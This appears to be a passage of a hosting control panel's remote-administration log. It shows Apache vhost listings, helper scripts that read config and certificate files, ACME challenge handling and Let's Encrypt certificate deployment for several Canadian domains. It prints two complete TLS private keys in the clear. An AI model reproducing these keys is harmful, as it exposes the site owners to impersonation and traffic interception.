         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-20 06:01:25: 

PUT: /tmp/pkp703519

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-20 06:01:25: 

chmod 755 /tmp/pkp703519; /tmp/pkp703519; rm /tmp/pkp703519

2026-03-20 06:01:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf	1308

<VirtualHost *:80>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-20 06:01:25: 

PUT: /tmp/pkp489574

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-20 06:01:25: 

chmod 755 /tmp/pkp489574; /tmp/pkp489574; rm /tmp/pkp489574

2026-03-20 06:01:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt	5372
31:f9:a1:03:d5:79:67:96:db:f5:a6:86:9f:65:97:b7

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBeC0kL65uVTu8rsUZdxkpN1sMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzIwMDUwMjUzWhcNMjYwNjE4MDUwMjUyWjAnMSUwIwYDVQQD
ExxwcmVhY2hlcmlkb2wuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEA4qe3Iuh7W1LyWwUxmLPUj3SCKnu18bZjF+smmKocCenh
xUUHPU8z8SNQ6Ie69gDtc3L0os6DVtHJcB55UW4WfIOczz6Q0qSbHsRX3FUAO8U+
9ZPS6SjEQfEHievMZusap2o55cuhE4KmkoBWuAkV6pij/D9nPsngwQz2W1uqc5Nl
e9YWM10UdoTtqPP9QsSS5/wELJGOiZWyl906nHr977PFhOXfPvch1wvVv/mbN3Ma
cszFhiQvKawxyaz71F5whjfRyrxX9Ud9o0HVR00oP2Ytjy0P2LsXSuYnU64OuU7i
HhwbxD6tJx36Ax/nTFcwWLVVVm6TRLqif+C3P14ujQIDAQABo4ICIzCCAh8wDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFN9yhXvsAkFO4XaIT4/tEo/etMUvMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wJwYDVR0RBCAwHoIccHJlYWNoZXJpZG9sLmRy
ZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSg
IqAghh5odHRwOi8vcjEzLmMubGVuY3Iub3JnLzEwOS5jcmwwggEEBgorBgEEAdZ5
AgQCBIH1BIHyAPAAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAA
AZ0J1Y2FAAAEAwBIMEYCIQD8SphNrKTdkeIVMzYo3P3qpi0a6AQHs5IumMe64LhJ
eAIhAK39YS3gmR1FZEeJ1xgGfKj+OpkpteEc+MGInV0jl02wAHUADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGdCdWNdAAABAMARjBEAiAFqC9DBZIG
jkWzhjE6mntstOEhFZC0kVgqyzOJOSHE7AIgMweiZPdCUOfOQ7cXjQQZGCBE9+Eb
dG+MaG2gmUBOTUowDQYJKoZIhvcNAQELBQADggEBAIjExIMVwOKT+EOVUKy7oc7r
VJFGy+0KHH/9qdJCug3KFkZbX6ggH3srxaRWdXIeJUhQltQR5RjS0pfULipB4Hwo
5qXKRivtkvtxdFlINxna66oaNVQrrQ/DUlOoqVUtC2NekXfVCe6fJR2uLQVKyONX
6Pbn4dPEs3VvemjW2XmDJfNu2pyrGnbi8KP8dt85ejZLuV+tUG0uZglzuYUrejFo
6llIXcSA3z5ERUoe6JTEzU3VpB8byWkosHEhRz2HzS2ZGMSM/QTpH0DqwCWQlVI2
csejn+HVVbhLIBaJMAmpjNUI7oZ0BJ8x4NzoCZ17JPdhOkphF9BnbmlxPQJB9n0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDip7ci6HtbUvJb
BTGYs9SPdIIqe7XxtmMX6yaYqhwJ6eHFRQc9TzPxI1Doh7r2AO1zcvSizoNW0clw
HnlRbhZ8g5zPPpDSpJsexFfcVQA7xT71k9LpKMRB8QeJ68xm6xqnajnly6ETgqaS
gFa4CRXqmKP8P2c+yeDBDPZbW6pzk2V71hYzXRR2hO2o8/1CxJLn/AQskY6JlbKX
3Tqcev3vs8WE5d8+9yHXC9W/+Zs3cxpyzMWGJC8prDHJrPvUXnCGN9HKvFf1R32j
QdVHTSg/Zi2PLQ/YuxdK5idTrg65TuIeHBvEPq0nHfoDH+dMVzBYtVVWbpNEuqJ/
4Lc/Xi6NAgMBAAECggEAGY4h7LZsNC2LxF33S9mY0YzoITyeFNEE5r09dpCVhTug
2FJyYMQFnf5moLUvDA4qN65iLVod/mO8c98HvDnuoJ7hRw+tmgZzs/oc0uulkVep
w9wlN2NAj5PKzw7uVrtS38XvHb0CHhZIzDNas7jYhwErWiVW8YInDHU28LGK7Clf
rG6HGsL8Os/rBJhorYKSwBT6Br7VN3xhJGW8cNhT2uAMNYIEVdQtyO0m8AblT8Ns
w1X87f8Jp3hSucGxDYJy4mzinx+jDRldgYxId3wEFrfotDVyBewZNcCEdOWmX5Td
Ow5BXX2mIbH2fnJmjQ1RnKREcycquoIvakCCwEpr8QKBgQD+pkn7dFhcFoZ2A/RB
IKLZWRb/6H9d1/zAznoyLJxs1cMKgVw54IXQPpiqn1lNmiVyTouTH5JunYTPikJf
oj/+F0ZzQkuRoVw6y0z4Q2LbjY90cpThTN0DvTgGyUuG41ASf2hgwXVsB7uc0SzG
DDrcVu55SqwBvT36T2JM/QxT/QKBgQDj22vZSriSKyw2lLWwcYd6A5aRcecKkIr4
L7cAIwAWZjkir9PlPf9H8XjhhKJwfxN8sBcYFqCXn3XkHIgpAwKskmjvmYC7N0d5
PTat9U3o7S+DFme5DXy8pKaKkwZtJrxcIkRDYdESPHB75MXtT4g7lWliZtZl7CsH
DKXFh4Ih0QKBgHSMUTIINuS23oWnG6SvNjl5///SPnEKCMGJ/v1104Ywc9scB8Tp
kPUVoTP+SJYu5dKiRlloytFbwMxoQCabEOTPbEwWXJXjn129bJX36YgJC05FnwRa
9JDgioL4oFu1MBG3RGN8R6zRATottmtSb6InG3BiD8WgAnzM1nXcH0dVAoGBANNf
rcC5rFcMbcuEULgJ2V+7DGaIf4gxZnmt6dnani4pTj97VNqIlNSskTLD090ARZeZ
0xKpividGMQwI6/H9ycX+viqMd16/nbd7meZ9FhsD3NPyZDFjj2BkG1kzsVa9cmS
kDjh+Q0tvDtykpn++aYsiMKcG7AZUiEL/owrlPDBAoGBAKIBc8mnIoEssj15MIIF
G2cZ257/CvuEUlpRCeLIxyMh3bp1biIhxpSrDg5v6Yiwk5gR7Yk03boljY9GNeGT
1W9IstuEsajp4qucWCo6Fh1Qb4rjpCl7BnaSE1vKayT1nn6ialTMjKzzzfLzIJl/
UHmwFwdLqdl7mn2BRTMrMwPh
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-20 06:01:25: Establishing a connection
2026-03-20 06:01:25: Establishing a connection
2026-03-20 06:01:26: 

PUT: /tmp/pkp844170

#!/bin/bash
if [ -d "/var/www/drewmarshall_datinggame/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-20 06:01:26: 

chmod 755 /tmp/pkp844170; /tmp/pkp844170; rm /tmp/pkp844170

2026-03-20 06:01:26: 


1


2026-03-20 06:01:26: Establishing a connection
2026-03-20 06:01:26: 

PUT: /tmp/pkp833480

#!/bin/bash
mkdir -p "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cat > xwWvNderNU9v9ao5gAXzzZehp9xSov_2wuKiwhCxspo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xwWvNderNU9v9ao5gAXzzZehp9xSov_2wuKiwhCxspo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xwWvNderNU9v9ao5gAXzzZehp9xSov_2wuKiwhCxspo


2026-03-20 06:01:26: 

chmod 755 /tmp/pkp833480; /tmp/pkp833480; rm /tmp/pkp833480

2026-03-20 06:01:26: 




2026-03-20 06:01:32: Establishing a connection
2026-03-20 06:01:32: 

PUT: /tmp/pkp488410

#!/bin/bash
mkdir -p "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
rm xwWvNderNU9v9ao5gAXzzZehp9xSov_2wuKiwhCxspo


2026-03-20 06:01:33: 

chmod 755 /tmp/pkp488410; /tmp/pkp488410; rm /tmp/pkp488410

2026-03-20 06:01:33: 




2026-03-20 06:01:33: Establishing a connection
2026-03-20 06:01:33: 

PUT: /tmp/pkp256101

#!/bin/bash
temp_file=$(mktemp)
TARGET=23de9e4d8d79bf04b5d6fc34a21a5b07.crt

cat > $temp_file <<'endmsg'
ba:58:05:76:79:1b:78:e9:d9:c0:f9:33:bb:4b:47:db

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBVTyIhhHR2uetMHOq28RU3A5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzIwMDUwMzAxWhcNMjYwNjE4MDUwMzAwWjAlMSMwIQYDVQQD
ExpkYXRpbmdnYW1lLmRyZXdtYXJzaGFsbC5jYTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAI6PLjGPanfxKJWf1Hism7o2uzYgg5GslDiNUzVw0ga/IRMN
gR2XCn7zEGS1Zx2BDowRaCLlYhMADicxQs2dLokoKNukCtvdm6b4ruUUzW2lsU0z
E2WyZtZo842E41n44ssaeO0r+u/s6jspsk4/M35Ytngc8OJ+LXHfbc/GR0Duzrfi
XBLHfNi4ieCWpGzNWQe0k9YXllp8pgge0lAukvuVCE4IZ1zevobe7tvAIhJAxF2e
if6tiw3JBaBlzMUq5Sqr++apl1GWLLzB5cKVUaZnRPuRyiIxqnOVtK+ozLLie2Bt
dZa+ih5xAlzZy47aOIgEwvPCgD29xSth/j3J4n0CAwEAAaOCAikwggIlMA4GA1Ud
DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBRAwDVE6WCOQm0hy+DM9eaaUisKSzAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMCUGA1UdEQQeMByCGmRhdGluZ2dhbWUuZHJld21h
cnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNTguY3JsMIIBDQYKKwYBBAHWeQIEAgSB
/gSB+wD5AHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGdCdWu
5QAABAMARzBFAiEA59h/r5mOcThFe2OO28jAqvnNG138y7Ub8ZmhOX4mP5ICIFd1
WYRSzgYI1mEQ6BtWWzXhb0q0xf+P/Ktr0WqVaO8HAH8AGoudaUpXmMiZoMqIvfSP
wLRWYMzDYA0fcfRp/8fRrKMAAAGdCdWvfAAIAAAFAFdo3CAEAwBIMEYCIQC614ke
HT1LmZT/bbFftna5R3QJ2F5XotSpoArFev3McwIhAJsmYdvoB0JJplxJEXtdwWWj
zO9g/0jZQHYDnj2m/cltMA0GCSqGSIb3DQEBCwUAA4IBAQCm0J2gfcechyRV+dHm
+bOOb1UcFvC8xa9hucDVXNjmXux5lyHqZExLpqdLZjxqBMwX7kkTUW81T1SV5l9+
EYQmbMEqcfNJXbjj+osLeuytaRO3IQysdMKUCU+AH9y0/zK8PjCSiNXNL7bx7Fss
lM1nLHEJW7ONQIXQKwgj9ip90VO0Sy5fr9XmP43BiV44zp4jS3vpj4xKr3Wvn9aV
LDvRnuU2Eg107cchnQx0Pr7U9g+C1fRGNgGs90zyl8JhtDSyIsildBReBn8bBUmI
e4EsG11CNJN3erhTe3XDgCzSSWl/2n9kMufprDKotVoQqdObdkX+U3Gt9a0OYtr0
YSI3
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCOjy4xj2p38SiV
n9R4rJu6Nrs2IIORrJQ4jVM1cNIGvyETDYEdlwp+8xBktWcdgQ6MEWgi5WITAA4n
MULNnS6JKCjbpArb3Zum+K7lFM1tpbFNMxNlsmbWaPONhONZ+OLLGnjtK/rv7Oo7
KbJOPzN+WLZ4HPDifi1x323PxkdA7s634lwSx3zYuInglqRszVkHtJPWF5ZafKYI
HtJQLpL7lQhOCGdc3r6G3u7bwCISQMRdnon+rYsNyQWgZczFKuUqq/vmqZdRliy8
weXClVGmZ0T7kcoiMapzlbSvqMyy4ntgbXWWvooecQJc2cuO2jiIBMLzwoA9vcUr
Yf49yeJ9AgMBAAECggEAA8lrliKTsko4yOeNHiijC3yt10Hy/L/qQSm9l8/Q0h/q
Kv+uQzD0x0aBnUIVdtZQNOVuC5PTtRl/j+OGz5to+njcn0Rpr7cp1wVROSZLdGC+
FTu/hZYKKCK8agyEwzx/PlHnsrUfgrwJMoCNVEB7PosVS3ZboNrcCZqbw0cmfNGa
HDR5i7yL738a5sP+aGktnOuT2zPzKALRaTJHi2G9BxtGfHxafElvztt1i/go9GwG
ACh2FJ5Bj8nrV2jU+jLWTbps1/dXIT6mQDSMFgbai8zKHX3WhVYKl6rmwqkAXe/W
URQD+zctm5t7ErpAhpKZuIY0/yvKnXuB2QbL0KpyaQKBgQDHQVdfDwVYFHpJZSWx
YlreQ7XfrXTrI1X2annYUZkgFV84RDYws/OV5LNlg+mRSFhcXSxqvwbWXKdkEiSx
OjBRfbiZ3JWBVT+2zSL0vakKrFQgFcG3GqjQyHjQxkUWAqA/a54M+uzHegxA0I4V
pwbEhClUrYOcn9iVgahf+DchBwKBgQC3KG8rM1knPTh6sUykv6L2PAaoEc67cGwD
Lq9p2OrZFSONxe1BMhGBPieyGRw3oWMc+j5dsWEk0xJ3IoBTcJ7TSa/n+BGdJbaf
yKOleaEyCoQ4Wf4JkkVXjCNMN2e43INSIcKFq51fPoOfEJNUpQYfZg7NUhqpR7Qg
aru4pw1zWwKBgQCFpo9rZJDqFro7tsvEortesL4yrY9qFUaYxay662ixe4RmImLS
4jF2DnRCmGu3lnYmZhzf8QguCvIAjqbr9aLpVlHXan0hxkO5Yvmafgj/7r1y1AUe
w5QOjxlyuDso21QPlijqffkKiBPl+b4ESgehEyEB+mz4RsOo7NI6pSydSwKBgFB3
Ox/Hl0td4gpFCl72silrhaEg8an3Yfyj7fyah9KHLu+CHRGfZYFaRSZBUdw+0sRQ
TEXtP7hl4p7kUWxW9e/tV5KZsWNQxkK8auiv3tmVNTFsl+aslDo6HufFD5RvjGHw
4vzGwISvejPPnGp7dY0l0Sry/zOPhNsZCQ++lHIxAoGBAJxyPJPuruxkxpq5OVnH
lzNQnDV9EZuz1Z3xSenLwu/hTYc44uhwnMUyIPZKbYQoOpLuZPdi9oWcADyRTdDI
8oF91YwND0De3Bv6ijqMaJxh3IgJqIR9a6Q5/3kC4kfoZnt/BfpZB4+aqmeOvKSh
kYdfFeJErrBFLyIEcunSToYx
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
